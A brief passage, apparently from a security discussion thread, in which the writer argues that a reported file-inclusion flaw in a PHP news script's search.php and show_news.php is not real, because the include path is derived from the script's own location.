Here $cutepath is set to the path of this script

Now the name of the script, search.php, is removed.
As result $cutepath contains the patch to the directory
of search.php...

> require_once("$cutepath/inc/functions.inc.php");

...from where inc/functions.inc.php is included.
Same for show_news.php. 
So where is a vulnerability?
